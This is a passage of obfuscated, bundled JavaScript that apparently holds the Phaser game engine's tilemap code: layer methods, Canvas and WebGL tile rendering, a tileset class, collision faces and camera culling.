_0x15b3c5['SetCollisionFromCollisionGroup'](_0xbab5a0, _0x1b0a16, this['layer']), this; }, 'setTileIndexCallback': function (_0x4326dd, _0xc2c049, _0x49e16f) { return _0x15b3c5['SetTileIndexCallback'](_0x4326dd, _0xc2c049, _0x49e16f, this['layer']), this; }, 'setTileLocationCallback': function (_0x5748e1, _0xbcadd9, _0x4abea7, _0x5609ea, _0x1b5fec, _0x44d41c) { return _0x15b3c5['SetTileLocationCallback'](_0x5748e1, _0xbcadd9, _0x4abea7, _0x5609ea, _0x1b5fec, _0x44d41c, this['layer']), this; }, 'shuffle': function (_0x3de8b7, _0x45d20c, _0x42fe4f, _0x43c43a) { return _0x15b3c5['Shuffle'](_0x3de8b7, _0x45d20c, _0x42fe4f, _0x43c43a, this['layer']), this; }, 'swapByIndex': function (_0x28054c, _0x11469c, _0x26a1ab, _0x5d48cd, _0x210d5a, _0x4f65a4) { return _0x15b3c5['SwapByIndex'](_0x28054c, _0x11469c, _0x26a1ab, _0x5d48cd, _0x210d5a, _0x4f65a4, this['layer']), this; }, 'tileToWorldX': function (_0x1f7c6a, _0xb882fb) { return this['tilemap']['tileToWorldX'](_0x1f7c6a, _0xb882fb, this); }, 'tileToWorldY': function (_0x8dd754, _0x43a910) { return this['tilemap']['tileToWorldY'](_0x8dd754, _0x43a910, this); }, 'tileToWorldXY': function (_0x4c46fa, _0x32df34, _0x4ad415, _0x746d69) { return this['tilemap']['tileToWorldXY'](_0x4c46fa, _0x32df34, _0x4ad415, _0x746d69, this); }, 'getTileCorners': function (_0x3b942a, _0x3bc6e5, _0x57fd09) { return this['tilemap']['getTileCorners'](_0x3b942a, _0x3bc6e5, _0x57fd09, this); }, 'weightedRandomize': function (_0x3701d2, _0x1e2fe4, _0xf16248, _0x8d9f95, _0x58bed9) { return _0x15b3c5['WeightedRandomize'](_0x1e2fe4, _0xf16248, _0x8d9f95, _0x58bed9, _0x3701d2, this['layer']), this; }, 'worldToTileX': function (_0x146651, _0x184847, _0x58f0a5) { return this['tilemap']['worldToTileX'](_0x146651, _0x184847, _0x58f0a5, this); }, 'worldToTileY': function (_0x2230ae, _0xd4e6a2, _0x46a0da) { return this['tilemap']['worldToTileY'](_0x2230ae, _0xd4e6a2, _0x46a0da, this); }, 'worldToTileXY': function (_0x4aa0f8, _0x152311, _0x3290be, _0x2f3c39, _0x41a4d5) { return this['tilemap']['worldToTileXY'](_0x4aa0f8, _0x152311, _0x3290be, _0x2f3c39, _0x41a4d5, this); }, 'destroy': function (_0x4cfc9d) { void 0x0 === _0x4cfc9d && (_0x4cfc9d = !0x0), this['tilemap'] && (this['layer']['tilemapLayer'] === this && (this['layer']['tilemapLayer'] = void 0x0), _0x4cfc9d && this['tilemap']['removeLayer'](this), this['tilemap'] = void 0x0, this['layer'] = void 0x0, this['culledTiles']['length'] = 0x0, this['cullCallback'] = null, this['gidMap'] = [], this['tileset'] = [], _0x5da072['prototype']['destroy']['call'](this)); } }); _0x25a6e0['exports'] = _0x41ec17; }, 0x3f19: (_0x317776, _0x256535, _0x523b0e) => { var _0x35ec13 = _0x523b0e(0xef9c), _0x39e5e0 = new _0x35ec13(), _0x4d5444 = new _0x35ec13(), _0x37208f = new _0x35ec13(); _0x317776['exports'] = function (_0x3d7da8, _0x2771f0, _0x43180d, _0xaf99f7) { var _0x552c77 = _0x2771f0['cull'](_0x43180d), _0x48e839 = _0x552c77['length'], _0x2237ed = _0x43180d['alpha'] * _0x2771f0['alpha']; if (!(0x0 === _0x48e839 || _0x2237ed <= 0x0)) { var _0x462a2e = _0x39e5e0, _0x59ed00 = _0x4d5444, _0x59a957 = _0x37208f; _0x59ed00['applyITRS'](_0x2771f0['x'], _0x2771f0['y'], _0x2771f0['rotation'], _0x2771f0['scaleX'], _0x2771f0['scaleY']), _0x462a2e['copyFrom'](_0x43180d['matrix']); var _0x51b35a = _0x3d7da8['currentContext'], _0x5d2177 = _0x2771f0['gidMap']; _0x51b35a['save'](), _0xaf99f7 ? (_0x462a2e['multiplyWithOffset'](_0xaf99f7, -_0x43180d['scrollX'] * _0x2771f0['scrollFactorX'], -_0x43180d['scrollY'] * _0x2771f0['scrollFactorY']), _0x59ed00['e'] = _0x2771f0['x'], _0x59ed00['f'] = _0x2771f0['y'], _0x462a2e['multiply'](_0x59ed00, _0x59a957), _0x59a957['copyToContext'](_0x51b35a)) : (_0x59ed00['e'] -= _0x43180d['scrollX'] * _0x2771f0['scrollFactorX'], _0x59ed00['f'] -= _0x43180d['scrollY'] * _0x2771f0['scrollFactorY'], _0x59ed00['copyToContext'](_0x51b35a)), (!_0x3d7da8['antialias'] || _0x2771f0['scaleX'] > 0x1 || _0x2771f0['scaleY'] > 0x1) && (_0x51b35a['imageSmoothingEnabled'] = !0x1); for (var _0x281873 = 0x0; _0x281873 < _0x48e839; _0x281873++) { var _0x3fe197 = _0x552c77[_0x281873], _0x258aab = _0x5d2177[_0x3fe197['index']]; if (_0x258aab) { var _0xa80d16 = _0x258aab['image']['getSourceImage'](), _0x311b64 = _0x258aab['getTileTextureCoordinates'](_0x3fe197['index']), _0x26dc18 = _0x258aab['tileWidth'], _0x278f38 = _0x258aab['tileHeight']; if (null !== _0x311b64 && 0x0 !== _0x26dc18 && 0x0 !== _0x278f38) { var _0x4ba913 = 0.5 * _0x26dc18, _0x29da83 = 0.5 * _0x278f38; _0x311b64['x'] += _0x258aab['tileOffset']['x'], _0x311b64['y'] += _0x258aab['tileOffset']['y'], _0x51b35a['save'](), _0x51b35a['translate'](_0x3fe197['pixelX'] + _0x4ba913, _0x3fe197['pixelY'] + _0x29da83), 0x0 !== _0x3fe197['rotation'] && _0x51b35a['rotate'](_0x3fe197['rotation']), (_0x3fe197['flipX'] || _0x3fe197['flipY']) && _0x51b35a['scale'](_0x3fe197['flipX'] ? -0x1 : 0x1, _0x3fe197['flipY'] ? -0x1 : 0x1), _0x51b35a['globalAlpha'] = _0x2237ed * _0x3fe197['alpha'], _0x51b35a['drawImage'](_0xa80d16, _0x311b64['x'], _0x311b64['y'], _0x26dc18, _0x278f38, -_0x4ba913, -_0x29da83, _0x26dc18, _0x278f38), _0x51b35a['restore'](); } } } _0x51b35a['restore'](); } }; }, 0x4b12: (_0x254c4e, _0x1e942e, _0x3bf8c) => { var _0x138536 = _0x3bf8c(0x7433), _0x41aa2b = _0x138536, _0x3d9080 = _0x138536; _0x41aa2b = _0x3bf8c(0x184e6), _0x3d9080 = _0x3bf8c(0x3f19), _0x254c4e['exports'] = { 'renderWebGL': _0x41aa2b, 'renderCanvas': _0x3d9080 }; }, 0x184e6: (_0x34aae0, _0x1eaab2, _0x5206ad) => { var _0x5a4834 = _0x5206ad(0x1139a); _0x34aae0['exports'] = function (_0x6f689b, _0x260cbf, _0x24d3c5) { var _0xe7bb4c = _0x260cbf['cull'](_0x24d3c5), _0x1c40e7 = _0xe7bb4c['length'], _0x46c8fc = _0x24d3c5['alpha'] * _0x260cbf['alpha']; if (!(0x0 === _0x1c40e7 || _0x46c8fc <= 0x0)) { var _0x402d39 = _0x260cbf['gidMap'], _0x33d4f6 = _0x6f689b['pipelines']['set'](_0x260cbf['pipeline'], _0x260cbf), _0x471c7d = _0x5a4834['getTintAppendFloatAlpha'], _0x1aaf6b = _0x260cbf['scrollFactorX'], _0x12c45b = _0x260cbf['scrollFactorY'], _0x475186 = _0x260cbf['x'], _0x30ac11 = _0x260cbf['y'], _0x2fc57e = _0x260cbf['scaleX'], _0x570876 = _0x260cbf['scaleY']; _0x6f689b['pipelines']['preBatch'](_0x260cbf); for (var _0x3b977a = 0x0; _0x3b977a < _0x1c40e7; _0x3b977a++) { var _0x1e9e44 = _0xe7bb4c[_0x3b977a], _0x1040c4 = _0x402d39[_0x1e9e44['index']]; if (_0x1040c4) { var _0x58ffaa = _0x1040c4['getTileTextureCoordinates'](_0x1e9e44['index']), _0x28c5e4 = _0x1040c4['tileWidth'], _0x130544 = _0x1040c4['tileHeight']; if (_0x58ffaa && 0x0 !== _0x28c5e4 && 0x0 !== _0x130544) { var _0x254959 = 0.5 * _0x28c5e4, _0x260f06 = 0.5 * _0x130544, _0x53bfd1 = _0x1040c4['glTexture'], _0x1cafd8 = _0x33d4f6['setTexture2D'](_0x53bfd1, _0x260cbf), _0x3cc8f0 = _0x28c5e4, _0x8df89f = _0x130544, _0x4306fe = _0x58ffaa['x'], _0x358f0a = _0x58ffaa['y'], _0x141471 = _0x1040c4['tileOffset']['x'], _0x53406f = _0x1040c4['tileOffset']['y'], _0x51eb74 = _0x471c7d(_0x1e9e44['tint'], _0x46c8fc * _0x1e9e44['alpha']); _0x33d4f6['batchTexture'](_0x260cbf, _0x53bfd1, _0x53bfd1['width'], _0x53bfd1['height'], _0x475186 + _0x1e9e44['pixelX'] * _0x2fc57e + (_0x254959 * _0x2fc57e - _0x141471), _0x30ac11 + _0x1e9e44['pixelY'] * _0x570876 + (_0x260f06 * _0x570876 - _0x53406f), _0x28c5e4, _0x130544, _0x2fc57e, _0x570876, _0x1e9e44['rotation'], _0x1e9e44['flipX'], _0x1e9e44['flipY'], _0x1aaf6b, _0x12c45b, _0x254959, _0x260f06, _0x4306fe, _0x358f0a, _0x3cc8f0, _0x8df89f, _0x51eb74, _0x51eb74, _0x51eb74, _0x51eb74, _0x1e9e44['tintFill'], 0x0, 0x0, _0x24d3c5, null, !0x0, _0x1cafd8, !0x0); } } } _0x6f689b['pipelines']['postBatch'](_0x260cbf); } }; }, 0x835d: (_0x139d95, _0x496c79, _0x316be4) => { var _0x13ac51 = _0x316be4(0x145db), _0xda51ae = _0x316be4(0x65f3), _0x31cd10 = new _0x13ac51({ 'initialize': function (_0xf701d6, _0x2f3614, _0x52842b, _0x224d55, _0x583467, _0x43dfd4, _0x401690, _0x35038d, _0x582c16) { (void 0x0 === _0x52842b || _0x52842b <= 0x0) && (_0x52842b = 0x20), (void 0x0 === _0x224d55 || _0x224d55 <= 0x0) && (_0x224d55 = 0x20), void 0x0 === _0x583467 && (_0x583467 = 0x0), void 0x0 === _0x43dfd4 && (_0x43dfd4 = 0x0), void 0x0 === _0x401690 && (_0x401690 = {}), void 0x0 === _0x35038d && (_0x35038d = {}), this['name'] = _0xf701d6, this['firstgid'] = _0x2f3614, this['tileWidth'] = _0x52842b, this['tileHeight'] = _0x224d55, this['tileMargin'] = _0x583467, this['tileSpacing'] = _0x43dfd4, this['tileProperties'] = _0x401690, this['tileData'] = _0x35038d, this['tileOffset'] = new _0xda51ae(), void 0x0 !== _0x582c16 && this['tileOffset']['set'](_0x582c16['x'], _0x582c16['y']), this['image'] = null, this['glTexture'] = null, this['rows'] = 0x0, this['columns'] = 0x0, this['total'] = 0x0, this['texCoordinates'] = []; }, 'getTileProperties': function (_0x50fe60) { return this['containsTileIndex'](_0x50fe60) ? this['tileProperties'][_0x50fe60 - this['firstgid']] : null; }, 'getTileData': function (_0x42b880) { return this['containsTileIndex'](_0x42b880) ? this['tileData'][_0x42b880 - this['firstgid']] : null; }, 'getTileCollisionGroup': function (_0x44bf22) { var _0x4e0831 = this['getTileData'](_0x44bf22); return _0x4e0831 && _0x4e0831['objectgroup'] ? _0x4e0831['objectgroup'] : null; }, 'containsTileIndex': function (_0x37b21a) { return _0x37b21a >= this['firstgid'] && _0x37b21a < this['firstgid'] + this['total']; }, 'getTileTextureCoordinates': function (_0x2ce438) { return this['containsTileIndex'](_0x2ce438) ? this['texCoordinates'][_0x2ce438 - this['firstgid']] : null; }, 'setImage': function (_0x3c05f5) { this['image'] = _0x3c05f5; var _0x2472b8 = _0x3c05f5['get'](), _0x1b28e4 = _0x3c05f5['getFrameBounds'](); return this['glTexture'] = _0x2472b8['source']['glTexture'], _0x2472b8['width'] > _0x1b28e4['width'] || _0x2472b8['height'] > _0x1b28e4['height'] ? this['updateTileData'](_0x2472b8['width'], _0x2472b8['height']) : this['updateTileData'](_0x1b28e4['width'], _0x1b28e4['height'], _0x1b28e4['x'], _0x1b28e4['y']), this; }, 'setTileSize': function (_0x409a16, _0x5f568d) { return void 0x0 !== _0x409a16 && (this['tileWidth'] = _0x409a16), void 0x0 !== _0x5f568d && (this['tileHeight'] = _0x5f568d), this['image'] && this['updateTileData'](this['image']['source'][0x0]['width'], this['image']['source'][0x0]['height']), this; }, 'setSpacing': function (_0x682e14, _0x2457a1) { return void 0x0 !== _0x682e14 && (this['tileMargin'] = _0x682e14), void 0x0 !== _0x2457a1 && (this['tileSpacing'] = _0x2457a1), this['image'] && this['updateTileData'](this['image']['source'][0x0]['width'], this['image']['source'][0x0]['height']), this; }, 'updateTileData': function (_0x4598b9, _0x44932b, _0x1e57e8, _0x11476b) { void 0x0 === _0x1e57e8 && (_0x1e57e8 = 0x0), void 0x0 === _0x11476b && (_0x11476b = 0x0); var _0x2e0de9 = (_0x44932b - 0x2 * this['tileMargin'] + this['tileSpacing']) / (this['tileHeight'] + this['tileSpacing']), _0x2a770a = (_0x4598b9 - 0x2 * this['tileMargin'] + this['tileSpacing']) / (this['tileWidth'] + this['tileSpacing']); _0x2e0de9 = Math['floor'](_0x2e0de9), _0x2a770a = Math['floor'](_0x2a770a), this['rows'] = _0x2e0de9, this['columns'] = _0x2a770a, this['total'] = _0x2e0de9 * _0x2a770a, this['texCoordinates']['length'] = 0x0; for (var _0x4b4672 = this['tileMargin'] + _0x1e57e8, _0xc6891a = this['tileMargin'] + _0x11476b, _0x36f49a = 0x0; _0x36f49a < this['rows']; _0x36f49a++) { for (var _0x417f6d = 0x0; _0x417f6d < this['columns']; _0x417f6d++)this['texCoordinates']['push']({ 'x': _0x4b4672, 'y': _0xc6891a }), _0x4b4672 += this['tileWidth'] + this['tileSpacing']; _0x4b4672 = this['tileMargin'] + _0x1e57e8, _0xc6891a += this['tileHeight'] + this['tileSpacing']; } return this; } }); _0x139d95['exports'] = _0x31cd10; }, 0x11957: (_0x12b546, _0xa94284, _0x201de7) => { var _0x4fafd9 = _0x201de7(0x1cff); _0x12b546['exports'] = function (_0x291e92, _0x3e2d52, _0x2818c1) { var _0x35bb53 = _0x4fafd9(_0x291e92, _0x3e2d52, !0x0, _0x2818c1), _0x2f7b21 = _0x4fafd9(_0x291e92, _0x3e2d52 - 0x1, !0x0, _0x2818c1), _0x170094 = _0x4fafd9(_0x291e92, _0x3e2d52 + 0x1, !0x0, _0x2818c1), _0xb1d33a = _0x4fafd9(_0x291e92 - 0x1, _0x3e2d52, !0x0, _0x2818c1), _0x1c52f3 = _0x4fafd9(_0x291e92 + 0x1, _0x3e2d52, !0x0, _0x2818c1), _0x58938a = _0x35bb53 && _0x35bb53['collides']; return _0x58938a && (_0x35bb53['faceTop'] = !0x0, _0x35bb53['faceBottom'] = !0x0, _0x35bb53['faceLeft'] = !0x0, _0x35bb53['faceRight'] = !0x0), _0x2f7b21 && _0x2f7b21['collides'] && (_0x58938a && (_0x35bb53['faceTop'] = !0x1), _0x2f7b21['faceBottom'] = !_0x58938a), _0x170094 && _0x170094['collides'] && (_0x58938a && (_0x35bb53['faceBottom'] = !0x1), _0x170094['faceTop'] = !_0x58938a), _0xb1d33a && _0xb1d33a['collides'] && (_0x58938a && (_0x35bb53['faceLeft'] = !0x1), _0xb1d33a['faceRight'] = !_0x58938a), _0x1c52f3 && _0x1c52f3['collides'] && (_0x58938a && (_0x35bb53['faceRight'] = !0x1), _0x1c52f3['faceLeft'] = !_0x58938a), _0x35bb53 && !_0x35bb53['collides'] && _0x35bb53['resetFaces'](), _0x35bb53; }; }, 0xa64d: (_0x1222c5, _0x5dbbd7, _0x4c4c35) => { var _0x46a132 = _0x4c4c35(0x1cff), _0xf01d44 = _0x4c4c35(0x1cda); _0x1222c5['exports'] = function (_0x5816f9, _0x3de7c8, _0x24e12d, _0x2ff30a, _0x275c89) { for (var _0x5dde92 = null, _0x3bf981 = null, _0x439d96 = null, _0x426d99 = null, _0x37381b = _0xf01d44(_0x5816f9, _0x3de7c8, _0x24e12d, _0x2ff30a, null, _0x275c89), _0xd46641 = 0x0; _0xd46641 < _0x37381b['length']; _0xd46641++) { var _0x32424f = _0x37381b[_0xd46641]; _0x32424f && (_0x32424f['collides'] ? (_0x5dde92 = _0x46a132(_0x32424f['x'], _0x32424f['y'] - 0x1, !0x0, _0x275c89), _0x3bf981 = _0x46a132(_0x32424f['x'], _0x32424f['y'] + 0x1, !0x0, _0x275c89), _0x439d96 = _0x46a132(_0x32424f['x'] - 0x1, _0x32424f['y'], !0x0, _0x275c89), _0x426d99 = _0x46a132(_0x32424f['x'] + 0x1, _0x32424f['y'], !0x0, _0x275c89), _0x32424f['faceTop'] = !_0x5dde92 || !_0x5dde92['collides'], _0x32424f['faceBottom'] = !_0x3bf981 || !_0x3bf981['collides'], _0x32424f['faceLeft'] = !_0x439d96 || !_0x439d96['collides'], _0x32424f['faceRight'] = !_0x426d99 || !_0x426d99['collides']) : _0x32424f['resetFaces']()); } }; }, 0x82f8: (_0x5160cb, _0x1c4183, _0x4bfaa4) => { var _0x4cd5d1 = new (_0x4bfaa4(0x65f3))(); _0x5160cb['exports'] = function (_0x3011fe, _0x51ef77, _0x58cbfd, _0x2d3eb6) { var _0xaf21ab = _0x58cbfd['tilemapLayer'], _0x24fa2d = _0xaf21ab['cullPaddingX'], _0x9b6de6 = _0xaf21ab['cullPaddingY'], _0x5c81eb = _0xaf21ab['tilemap']['tileToWorldXY'](_0x3011fe, _0x51ef77, _0x4cd5d1, _0x2d3eb6, _0xaf21ab); return _0x5c81eb['x'] > _0x2d3eb6['worldView']['x'] + _0xaf21ab['scaleX'] * _0x58cbfd['tileWidth'] * (-_0x24fa2d - 0.5) && _0x5c81eb['x'] < _0x2d3eb6['worldView']['right'] + _0xaf21ab['scaleX'] * _0x58cbfd['tileWidth'] * (_0x24fa2d - 0.5) && _0x5c81eb['y'] > _0x2d3eb6['worldView']['y'] + _0xaf21ab['scaleY'] * _0x58cbfd['tileHeight'] * (-_0x9b6de6 - 0x1) && _0x5c81eb['y'] < _0x2d3eb6['worldView']['bottom'] + _0xaf21ab['scaleY'] * _0x58cbfd['tileHeight'] * (_0x9b6de6 - 0.5); }; }, 0x6f9: (_0x3f7e32, _0x19063b, _0x3f154a) => { var _0x181072 = _0x3f154a(0xa64d), _0x3cc36a = _0x3f154a(0x1cda), _0x4851df = _0x3f154a(0xf60f), _0x49d9dc = _0x3f154a(0x59f5); _0x3f7e32['exports'] = function (_0x3cda98, _0x337734, _0x4fa43d, _0x31bd24, _0x2f3117, _0x168c0e, _0x414949, _0x27ab45) { void 0x0 === _0x414949 && (_0x414949 = !0x0); var _0x52b4a1 = _0x3cc36a(_0x3cda98, _0x337734, _0x4fa43d, _0x31bd24, null, _0x27ab45), _0x5edac7 = []; _0x52b4a1['forEach'](function (_0x1b7b14) { var _0x3eafae = new _0x49d9dc(_0x1b7b14['layer'], _0x1b7b14['index'], _0x1b7b14['x'], _0x1b7b14['y'], _0x1b7b14['width'], _0x1b7b14['height'], _0x1b7b14['baseWidth'], _0x1b7b14['baseHeight']); _0x3eafae['copy'](_0x1b7b14), _0x5edac7['push'](_0x3eafae); }); for (var _0x5af909 = _0x2f3117 - _0x3cda98, _0x180b0d = _0x168c0e - _0x337734, _0x257799 = 0x0; _0x257799 < _0x5edac7['length']; _0x257799++) { var _0x39efa4 = _0x5edac7[_0x257799], _0x3e413d = _0x39efa4['x'] + _0x5af909, _0x3e62c4 = _0x39efa4['y'] + _0x180b0d; _0x4851df(_0x3e413d, _0x3e62c4, _0x27ab45) && _0x27ab45['data'][_0x3e62c4][_0x3e413d] && (_0x39efa4['x'] = _0x3e413d, _0x39efa4['y'] = _0x3e62c4, _0x39efa4['updatePixelXY'](), _0x27ab45['data'][_0x3e62c4][_0x3e413d] = _0x39efa4); } _0x414949 && _0x181072(_0x2f3117 - 0x1, _0x168c0e - 0x1, _0x4fa43d + 0x2, _0x31bd24 + 0x2, _0x27ab45), _0x52b4a1['length'] = 0x0, _0x5edac7['length'] = 0x0; }; }, 0x13253: (_0x5f18a2, _0x4436b9, _0x3f1f44) => { var _0x32174d = _0x3f1f44(0xf4b4), _0x7d471b = _0x3f1f44(0x1cda), _0x2ff538 = _0x3f1f44(0x6d53); _0x5f18a2['exports'] = function (_0x30a59f, _0x2113ea, _0x18bedc, _0x567345, _0x4ac84a, _0x30d6bb) { _0x18bedc || (_0x18bedc = {}), Array['isArray'](_0x30a59f) || (_0x30a59f = [_0x30a59f]); var _0x165833 = _0x30d6bb['tilemapLayer']; _0x567345 || (_0x567345 = _0x165833['scene']), _0x4ac84a || (_0x4ac84a = _0x567345['cameras']['main']); var _0x497261, _0x2a39d0 = _0x30d6bb['width'], _0x2e700a = _0x30d6bb['height'], _0x51f98d = _0x7d471b(0x0, 0x0, _0x2a39d0, _0x2e700a, null, _0x30d6bb), _0x58f236 = [], _0x1701f7 = function (_0x73abb4, _0x3e6204, _0x29de73) { for (var _0x275741 = 0x0; _0x275741 < _0x29de73['length']; _0x275741++) { var _0x32ddd3 = _0x29de73[_0x275741]; _0x73abb4['hasOwnProperty'](_0x32ddd3) || (_0x73abb4[_0x32ddd3] = _0x3e6204[_0x32ddd3]); } }; for (_0x497261 = 0x0; _0x497261 < _0x51f98d['length']; _0x497261++) { var _0x321b85 = _0x51f98d[_0x497261], _0x17eb84 = _0x32174d(_0x18bedc); if (-0x1 !== _0x30a59f['indexOf'](_0x321b85['index'])) { var _0x2fcdc2 = _0x165833['tileToWorldXY'](_0x321b85['x'], _0x321b85['y'], void 0x0, _0x4ac84a, _0x30d6bb); _0x17eb84['x'] = _0x2fcdc2['x'], _0x17eb84['y'] = _0x2fcdc2['y'], _0x1701f7(_0x17eb84, _0x321b85, ['rotation', 'flipX', 'flipY', 'alpha', 'visible', 'tint']), _0x17eb84['hasOwnProperty']('origin') || (_0x17eb84['x'] += 0.5 * _0x321b85['width'], _0x17eb84['y'] += 0.5 * _0x321b85['height']), _0x17eb84['hasOwnProperty']('useSpriteSheet') && (_0x17eb84['key'] = _0x321b85['tileset']['image'], _0x17eb84['frame'] = _0x321b85['index'] - 0x1), _0x58f236['push'](_0x567345['make']['sprite'](_0x17eb84)); } } if (Array['isArray'](_0x2113ea)) { for (_0x497261 = 0x0; _0x497261 < _0x30a59f['length']; _0x497261++)_0x2ff538(_0x30a59f[_0x497261], _0x2113ea[_0x497261], 0x0, 0x0, _0x2a39d0, _0x2e700a, _0x30d6bb); } else { if (null !== _0x2113ea) { for (_0x497261 = 0x0; _0x497261 < _0x30a59f['length']; _0x497261++)_0x2ff538(_0x30a59f[_0x497261], _0x2113ea, 0x0, 0x0, _0x2a39d0, _0x2e700a, _0x30d6bb); } } return _0x58f236; }; }, 0x4c59: (_0x2c7f38, _0x84276b, _0x2ec34a) => { var _0x21dddd = _0x2ec34a(0x15721), _0x4104d7 = _0x2ec34a(0xf7d8), _0x2b873f = _0x2ec34a(0xdd07), _0x3f6a3e = new _0x21dddd(); _0x2c7f38['exports'] = function (_0x214dd0, _0x2ea1c2) { var _0x20d699 = _0x214dd0['tilemapLayer']['tilemap'], _0x4f4b44 = _0x214dd0['tilemapLayer'], _0x429851 = Math['floor'](_0x20d699['tileWidth'] * _0x4f4b44['scaleX']), _0x2e2f28 = Math['floor'](_0x20d699['tileHeight'] * _0x4f4b44['scaleY']), _0x302c68 = _0x2b873f(_0x2ea1c2['worldView']['x'] - _0x4f4b44['x'], _0x429851, 0x0, !0x0) - _0x4f4b44['cullPaddingX'], _0x21ff84 = _0x4104d7(_0x2ea1c2['worldView']['right'] - _0x4f4b44['x'], _0x429851, 0x0, !0x0) + _0x4f4b44['cullPaddingX'], _0xa3bf8e = _0x2b873f(_0x2ea1c2['worldView']['y'] - _0x4f4b44['y'], _0x2e2f28, 0x0, !0x0) - _0x4f4b44['cullPaddingY'], _0x21b9d6 = _0x4104d7(_0x2ea1c2['worldView']['bottom'] - _0x4f4b44['y'], _0x2e2f28, 0x0, !0x0) + _0x4f4b44['cullPaddingY']; return _0x3f6a3e['setTo'](_0x302c68, _0xa3bf8e, _0x21ff84 - _0x302c68, _0x21b9d6 - _0xa3bf8e); }; }, 0x7533: (_0x2bdbaf, _0x106ab5, _0x17bd78) => { var _0x28a5c1 = _0x17bd78(0x4c59), _0x31bda3 = _0x17bd78(0x7ee3); _0x2bdbaf['exports'] = function (_0x43de76, _0x4e97e0, _0x425d6e, _0x174730) { void 0x0 === _0x425d6e && (_0x425d6e = []), void 0x0 === _0x174730 && (_0x174730 = 0x0), _0x425d6e['length'] = 0x0; var _0x293102 = _0x43de76['tilemapLayer'], _0x367b38 = _0x28a5c1(_0x43de76, _0x4e97e0); return (_0x293102['skipCull'] || 0x1 !== _0x293102['scrollFactorX'] || 0x1 !== _0x293102['scrollFactorY']) && (_0x367b38['left'] = 0x0, _0x367b38['right'] = _0x43de76['width'], _0x367b38['top'] = 0x0, _0x367b38['bottom'] = _0x43de76['height']), _0x31bda3(_0x43de76, _0x367b38, _0x174730, _0x425d6e), _0x425d6e; }; }, 0x8941: (_0xa94f2c, _0x70ec11, _0x511641) => { var _0x4a5c1d = _0x511641(0x1cda), _0x5b7899 = _0x511641(0xa64d), _0x1c07eb = _0x511641(0x5060); _0xa94f2c['exports'] = function (_0x10e71c, _0xd32b64, _0x4d7f3c, _0x27bb84, _0x550e25, _0x381096, _0x2867cd) { for (var _0x545bea = -0x1 !== _0x2867cd['collideIndexes']['indexOf'](_0x10e71c), _0x6d2ed6 = _0x4a5c1d(_0xd32b64, _0x4d7f3c, _0x27bb84, _0x550e25, null, _0x2867cd), _0x249d17 = 0x0; _0x249d17 < _0x6d2ed6['length']; _0x249d17++)_0x6d2ed6[_0x249d17]['index'] = _0x10e71c, _0x1c07eb(_0x6d2ed6[_0x249d17], _0x545bea); _0x381096 && _0x5b7899(_0xd32b64 - 0x1, _0x4d7f3c - 0x1, _0x27bb84 + 0x2, _0x550e25 + 0x2, _0x2867cd); }; }, 0x9d3d: (_0x13b7aa, _0x12778d, _0x204525) => { var _0xc2eba5 = _0x204525(0x1cda); _0x13b7aa['exports'] = function (_0x4d4644, _0x369815, _0x487738, _0x4ac583, _0x150b53, _0x4db84c, _0x4ba405, _0x4d66fc) { return _0xc2eba5(_0x487738, _0x4ac583, _0x150b53, _0x4db84c, _0x4ba405, _0x4d66fc)['filter'](_0x4d4644, _0x369815); }; }, 0xcdd4: _0xad1794 => { _0xad1794['exports'] = function (_0x1b8a5f, _0x38c5e0, _0x53a9b7, _0x1bc1ca) { void 0x0 === _0x38c5e0 && (_0x38c5e0 = 0x0), void 0x0 === _0x53a9b7 && (_0x53a9b7 = !0x1); var _0x188362, _0x3549f4, _0x1bdf20, _0x1c9502 = 0x0; if (_0x53a9b7) { for (_0x3549f4 = _0x1bc1ca['height'] - 0x1; _0x3549f4 >= 0x0; _0x3549f4--)for (_0x188362 = _0x1bc1ca['width'] - 0x1; _0x188362 >= 0x0; _0x188362--)if ((_0x1bdf20 = _0x1bc1ca['data'][_0x3549f4][_0x188362]) && _0x1bdf20['index'] === _0x1b8a5f) { if (_0x1c9502 === _0x38c5e0) return _0x1bdf20; _0x1c9502 += 0x1; } } else { for (_0x3549f4 = 0x0; _0x3549f4 < _0x1bc1ca['height']; _0x3549f4++)for (_0x188362 = 0x0; _0x188362 < _0x1bc1ca['width']; _0x188362++)if ((_0x1bdf20 = _0x1bc1ca['data'][_0x3549f4][_0x188362]) && _0x1bdf20['index'] === _0x1b8a5f) { if (_0x1c9502 === _0x38c5e0) return _0x1bdf20; _0x1c9502 += 0x1; } } return null; }; }, 0x10267: (_0x36fdfd, _0x89b216, _0x40c433) => { var _0x3d6bda = _0x40c433(0x1cda); _0x36fdfd['exports'] = function (_0x3e3b98, _0x32f236, _0x4f7559, _0x3ec954, _0xe77a26, _0x117ad0, _0x370533, _0x1f154a) { return _0x3d6bda(_0x4f7559, _0x3ec954, _0xe77a26, _0x117ad0, _0x370533, _0x1f154a)['find'](_0x3e3b98, _0x32f236) || null; }; }, 0x17d18: (_0x298638, _0x1b8519, _0x311e2f) => { var _0x3f2880 = _0x311e2f(0x1cda); _0x298638['exports'] = function (_0x249868, _0xf01645, _0x39e62a, _0x4fef57, _0x590e8b, _0x5723c4, _0x564b6b, _0x699068) { _0x3f2880(_0x39e62a, _0x4fef57, _0x590e8b, _0x5723c4, _0x564b6b, _0x699068)['forEach'](_0x249868, _0xf01645); }; }, 0xa929: (_0x307e6b, _0x343f1f, _0x1102ae) => { var _0x4f18e7 = _0x1102ae(0x16703), _0x1cd2c0 = _0x1102ae(0x7533), _0x278518 = _0x1102ae(0x2502), _0x4f850b = _0x1102ae(0x36c2), _0x3399f5 = _0x1102ae(0x7433), _0x2db5fa = _0x1102ae(0xd4e7); _0x307e6b['exports'] = function (_0x31dd10) { return _0x31dd10 === _0x4f18e7['ORTHOGONAL'] ? _0x1cd2c0 : _0x31dd10 === _0x4f18e7['HEXAGONAL'] ? _0x278518 : _0x31dd10 === _0x4f18e7['STAGGERED'] ? _0x2db5fa : _0x31dd10 === _0x4f18e7['ISOMETRIC'] ? _0x4f850b : _0x3399f5; }; }, 0x1cff: (_0x1c9012, _0x4faabf, _0x421282) => { var _0x2bf8d9 = _0x421282(0xf60f); _0x1c9012['exports'] = function (_0x41b71f, _0x13d438, _0x2ec204, _0x7965be) { if (_0x2bf8d9(_0x41b71f, _0x13d438, _0x7965be)) { var _0x335b73 = _0x7965be['data'][_0x13d438][_0x41b71f] || null; return _0x335b73 ? -0x1 === _0x335b73['index'] ? _0x2ec204 ? _0x335b73 : null : _0x335b73 : null; } return null; }; }, 0xec7c: (_0x56df09, _0x41d014, _0x3628de) => { var _0x5dd9bd = _0x3628de(0x1cff), _0x576a93 = new (_0x3628de(0x65f3))(); _0x56df09['exports'] 